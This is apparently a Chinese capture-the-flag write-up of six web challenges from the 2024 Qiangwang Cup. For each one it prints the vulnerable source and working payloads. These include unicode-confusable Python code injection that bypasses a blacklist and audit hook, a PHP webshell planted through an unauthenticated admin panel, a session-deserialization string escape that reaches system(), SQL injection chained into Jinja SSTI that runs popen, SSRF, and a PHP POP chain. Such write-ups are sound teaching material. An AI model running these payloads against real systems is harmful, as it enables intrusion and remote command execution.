2024强网杯-WEB-gxngxngxn
WEB
PyBlockly
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
#for node in ast.walk(m):
# match type(node):
#case ast.Import:
#print("ERROR: Banned module ")
#return False
#case ast.ImportFrom:
#print(f"ERROR: Banned module {node.module}")
#return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code += "\n" + block_to_python(block) + "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
#os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('1.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host='0.0.0.0')
首先对源码进行审计,发现功能很简单,就是自定义写个code然后拼接
'''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
写到run.py里面运行,这里text的写入存在waf,基本过滤了所有符号
但是我们可以看到写入的text会经过unidecode,所以可以利用unicode欺骗来绕过waf
接下来看到run.py里面的,这里的audit_hook定义了event_name不能大于4,我们可以覆盖len函数为恒定值来绕过
所以去https://www.compart.com/en/unicode/这上面找相似的符号
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018dir\u2018\uff09\n\u266f"}}}}}]}}
成功构造执行ls命令,读flag需要提权,找下suid
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
print('1')
globals().update(dict(len=lambda x:1))
__import__('os').system('find / -perm -u=s -type f 2>/dev/null')
#')
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018find \uff0f \uff0dperm \uff0du\u207cs \uff0dtype f 2\uff1e\uff0fdev\uff0fnull\u2018\uff09\n\u266f"}}}}}]}}
dd可以提权,直接读
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018dd if\u207c\uff0fflag\u2018\uff09\n\u266f"}}}}}]}}
xiaohuanxiong
自己去下载个源码
forkable/xiaohuanxiong: 开源有态度的漫画CMS
可以看到后台路由是admin,查看Admins.php,发现好像并没有鉴权???
直接访问/admin/Admins,直接未授权进后台,然后添加一个管理即可
接下来看到payment这里
直接就把我们传入的json写入文件里了???,直接插入一个system($_POST[0]),然后访问config/payment.php
platform
www.zip下载源码,简单审计一下
index.php
<?php
session_start();
require 'user.php';
require 'class.php';
$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION['user'] = $username;
if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] =$SessionRandom -> generateRandomString();
}
$_SESSION['password'] = $password;
$result = $sessionManager->filterSensitiveFunctions();
header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}
class.php
<?php
class notouchitsclass {
public $data;
public function __construct($data) {
$this->data = $data;
}
public function __destruct() {
eval($this->data);
}
}
class SessionRandom {
public function generateRandomString() {
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
class SessionManager {
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
public function __construct() {
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath() {
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions() {
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData);
}
}
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
一眼session反序列化+字符串逃逸,会替换sensitiveFunctions中的字符为空,可以逃逸出后面的字符串
因为session_key是随机的,不能确定长度,所以不能从username中逃,那么只能从password属性中逃
这里可以设置password为数组,这里就可以利用第一个数组中的来吞掉第二个数组的内容,逃出字符串
username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();
先自己设置一个PHPSESSID,然后连发两次包即可
可以看到成功执行了phpinfo
利用双写绕过,执行system
username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:15:"syssystemtem('ls /');
执行/readflag得到flag
username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:20:"syssystemtem('/readflag');
snake
首先玩下游戏,写个脚本来帮助我们通关,得到路由
让gpt跑了个代码 发现score到50与游戏就成功了 并返回一个路由和参数/snake_win?username=
import requests
import time
from collections import deque
server_url = 'http://eci-2zedptpxwuwjdkzq31mq.cloudeci1.ichunqiu.com:5000/move'
session_cookies = {
'session': 'eyJ1c2VybmFtZSI6InRlc3QifQ.ZyZc6A.kcRlrOJ9Hn3l7RxMwePhbYCg0k8'
}
direction_map = {'UP': (0, -1), 'DOWN': (0, 1), 'LEFT': (-1, 0), 'RIGHT': (1, 0)}
current_move = 'RIGHT'
def calculate_next_position(current_pos, move):
return [current_pos[0] + direction_map[move][0], current_pos[1] + direction_map[move][1]]
def is_position_safe(snake_body, new_pos):
x, y = new_pos
return 0 <= x < 25 and 0 <= y < 25 and new_pos not in snake_body
def find_shortest_path(snake_body, target_pos):
snake_head = snake_body[0]
queue = deque([(snake_head, [])])
visited_positions = set()
visited_positions.add(tuple(snake_head))
while queue:
current_pos, path = queue.popleft()
for move in direction_map:
next_pos = calculate_next_position(current_pos, move)
if next_pos == target_pos:
return path + [move]
if is_position_safe(snake_body, next_pos) and tuple(next_pos) not in visited_positions:
visited_positions.add(tuple(next_pos))
queue.append((next_pos, path + [move]))
return None
def select_best_move(snake_body, food_pos):
path_to_food = find_shortest_path(snake_body, food_pos)
if path_to_food:
return path_to_food[0]
return current_move
initial_response = requests.post(server_url, json={'direction': current_move}, cookies=session_cookies)
game_data = initial_response.json()
while game_data['status'] != 'game_over':
snake_body = game_data['snake']
food_pos = game_data['food']
current_score = game_data['score']
current_move = select_best_move(snake_body, food_pos)
move_response = requests.post(server_url, json={'direction': current_move}, cookies=session_cookies)
game_data = move_response.json()
if game_data['status'] == 'game_over':
print(f"GameOver!Score: {game_data['score']}")
break
elif game_data['status'] == 'win':
print("win!")
break
else:
print(f"Current Score: {game_data['score']}")
time.sleep(0.1)
访问,fuzz下,发现单引号会报500,猜测存在sql???
/snake_win?username=1' union select 1,2,"gxngxngxn" --+
还真是sql,在第三列会回显
试试ssti??
/snake_win?username=1' union select 1,2,"{{7*7}}" --+
回显49,存在ssti,直接打
/snake_win?username=1' union select 1,2,"{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /f*').read()}}" --+
Proxy
直接审main.go,就v1和v2两个路由,v1需要本地才能访问,v2可以ssrf发送,那很简单了,直接打ssrf就行
POST /v2/api/proxy HTTP/1.1
Host: 59.110.156.237:22546
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 59
{"url":"http://127.0.0.1:8769/v1/api/flag","method":"POST"}
base64解码得到flag
Password Game
前面的计算抓个包,按要求来就行
得到源码:
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
这里原本想通过guest::tostring来触发invoke,但是tostring是错误的代码,所以转换思路,看root和user类
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
这里可以触发root::__get类,然后赋值flag给value,这时候我们只需要将value的值引用给user中的username,这样就会输出了
<?php
class root{
public $username;
public $value=2024;
public $gxngxngxn;
}
class user{
public $username;
public $password;
}
$exp = new root();
$exp->gxngxngxn=new user();
$exp->gxngxngxn->username=&$exp->value;
echo serialize($exp);